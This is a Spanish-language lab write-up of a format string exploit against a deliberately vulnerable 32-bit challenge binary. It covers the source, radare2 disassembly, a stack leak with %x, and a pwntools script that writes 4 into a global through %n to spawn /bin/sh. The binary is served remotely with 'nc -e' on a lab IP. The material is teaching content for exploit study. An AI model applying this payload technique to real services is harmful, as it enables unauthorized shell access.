[Resumen]:
Tenemos que explotar format string para obtener una shell. Código:
#undef _FORTIFY_SOURCE #include <stdio.h> #include <unistd.h> #include <string.h> int x = 3; void be_nice_to_people() { // /bin/sh is usually symlinked to bash, which usually drops privs. Make // sure we don't drop privs if we exec bash, (ie if we call system()). gid_t gid = getegid(); setresgid(gid, gid, gid); } int main(int argc, const char **argv) { be_nice_to_people(); char buf[80]; bzero(buf, sizeof(buf)); int k = read(STDIN_FILENO, buf, 80); printf(buf); printf("%d!\n", x); if (x == 4) { printf("running sh...\n"); system("/bin/sh"); } return 0; }
[Técnica]:
Format Strings. NX habilitado y Stack Canary. Bypass en la estructura de control por escritura en memoria de un valor en la dirección de memoria de una variable
[Informe]:
Recolección de información
Primero debemos obtener toda la información posible del binario así que debemos realizar reversing y ver alguna vulnerabilidad en el desensamblado. Usando radare2 observamos que tenemos un buffer de 80 bytes y si queremos obtener una shell debemos no hacer cumplir el salto condicional jne
y que la variable dword obj.x
sea igual a 4 para obtener /bin/bash
.
0x08048586 c74424085000. mov dword [local_8h], 0x50 ; 'P' ; [0x50:4]=-1 ; 80
| 0x0804858e 8d44242c lea eax, dword [local_2ch] ; 0x2c ; ',' ; 44
| 0x08048592 89442404 mov dword [local_4h], eax
| 0x08048596 c70424000000. mov dword [esp], 0
| 0x0804859d e83efeffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x080485a2 89442428 mov dword [local_28h], eax
| 0x080485a6 8d44242c lea eax, dword [local_2ch] ; 0x2c ; ',' ; 44
| 0x080485aa 890424 mov dword [esp], eax
| 0x080485ad e83efeffff call sym.imp.printf ; int printf(const char *format)
| 0x080485b2 8b152ca00408 mov edx, dword obj.x ; [0x804a02c:4]=3
| 0x080485b8 b8e0860408 mov eax, str.d ; 0x80486e0 ; "%d!\n"
| 0x080485bd 89542404 mov dword [local_4h], edx
| 0x080485c1 890424 mov dword [esp], eax
| 0x080485c4 e827feffff call sym.imp.printf ; int printf(const char *format)
| 0x080485c9 a12ca00408 mov eax, dword obj.x ; [0x804a02c:4]=3
| 0x080485ce 83f804 cmp eax, 4 ; 4
| ,=< 0x080485d1 7518 jne 0x80485eb
| | 0x080485d3 c70424e58604. mov dword [esp], str.running_sh... ; [0x80486e5:4]=0x6e6e7572 ; "running sh..."
| | 0x080485da e841feffff call sym.imp.puts ; int puts(const char *s)
| | 0x080485df c70424f38604. mov dword [esp], str.bin_sh ; [0x80486f3:4]=0x6e69622f ; "/bin/sh"
| | 0x080485e6 e845feffff call sym.imp.system ; int system(const char *string)
Otra solución sería parchear el binario y en la instrucción cmp eax, 4
cambiar el 4 por el 3.
[0x0804854d]> s 0x080485ce
[0x080485ce]> wa cmp eax, 3
Written 3 byte(s) (cmp eax, 3) = wx 83f803
Lo ejecutamos y tenemos shell.
naivenom@parrot:[~/pwn/format1] $ ./patch
id
id
3!
running sh...id
uid=1000(naivenom) gid=1000(naivenom) grupos=1000(naivenom),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),106(netdev),111(debian-tor),121(bluetooth),132(scanner)
Pero vamos a explotar el binario sin necesidad de modificarlo, debido a que en la función printf(buf)
no existe ningún formato de cadena%s
como por ejemplo en la siguiente llamada a la misma función, por lo tanto tenemos total control de volcar algún contenido en memoria. Si ejecutamos el binario y le pasamos testigo de formato %s
tenemos una Violacion de Segmento y eso son buenas noticias!.
naivenom@parrot:[~/pwn/format1] $ ./format1
%s%s
%s%s
Violación de segmento
Ocurre esto debido a que pasamos dos argumentos que en realidad no existen en el código. Estos téstigo de formato son simplemente argumentos que va a recibir la función cuando sea llamada con call
siendo unos punteros en el stack que apuntan a una dirección de memoria cuyo contenido sería por ejemplo si es un testigo de formato de tipo cadena %s
pues una string.
Por regla general los argumentos que recibe una función pueden ser cadenas, variables o direcciones de memoria. En el stack podemos tener direcciones de memoria o contenido, incluso direcciones de memoria que apuntan a una dirección del stack.
Explotación
Para esta pequeña PoC vamos a enviar un pequeño buffer de AAAA
y al final obtenedremos con el valor en hexadecimal de estos valores. Si usamos el testigo de formato %x
obtenemos un volcado de la memoria:
naivenom@parrot:[~/pwn/format1] $ ./format1
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAA.ffc85f5c.00000050.000000c2.00000000.00c30000.00000000.ffc86054.00000000.00000000.00000041.41414141.3830252e
3!
Vemos que al número de argumento 11
obtenemos el contenido en hexadecimal de nuestra cadena.
Ahora el siguiente paso sería encontrar la variable x=3
en la sección data
.
[0x0804854d]> px@0x804a02c
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0804a02c 0300 0000 0000 0000 0000 0000 0000 0000 ................
Por último, teniendo la dirección de memoria de la variable de tipo int
solo nos hace falta hacer nuestro pequeño exploit y como el salto condicional nos indica que el registro $eax
tiene que ser igual a la variable que es == 4, ya lo tenemos hecho!. Solo tenemos que escribir en la memoria usando python por ejemplo con print
4 Bytes, el número de argumentos necesarios hasta llegar en este caso 11
y el testigo de formato %n
para escribir un valor entero en esa dirección de memoria de la variable. El valor sería lo que printea, osea 4 Bytes \x2c\xa0\x04\x08
.
Obteniendo user shell
El usuario guille
esta ejecutando en el servidor un binario vulnerable a format string por el puerto 1234
.
$ nc -lvnp 1234 -e ./format1
listening on [any] 1234 ...
connect to [192.168.32.129] from (UNKNOWN) [192.168.32.142] 32850
Ejecutamos nuestro exploit y ganamos acceso como user del servidor.
naivenom@parrot:[~/pwn/format1] $ python exploit.py
[+] Opening connection to 192.168.32.129 on port 1234: Done
[*] Switching to interactive mode
$ id
uid=998(guille) gid=997(guille) grupos=997(guille)
[Comandos]:
Seguridad del binario.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
[Exploit Development]:
Exploit remoto.
from pwn import * p = remote('192.168.32.129', 1234) exploit = "" exploit += "\x2c\xa0\x04\x08%11$n" p.sendline(exploit) p.interactive()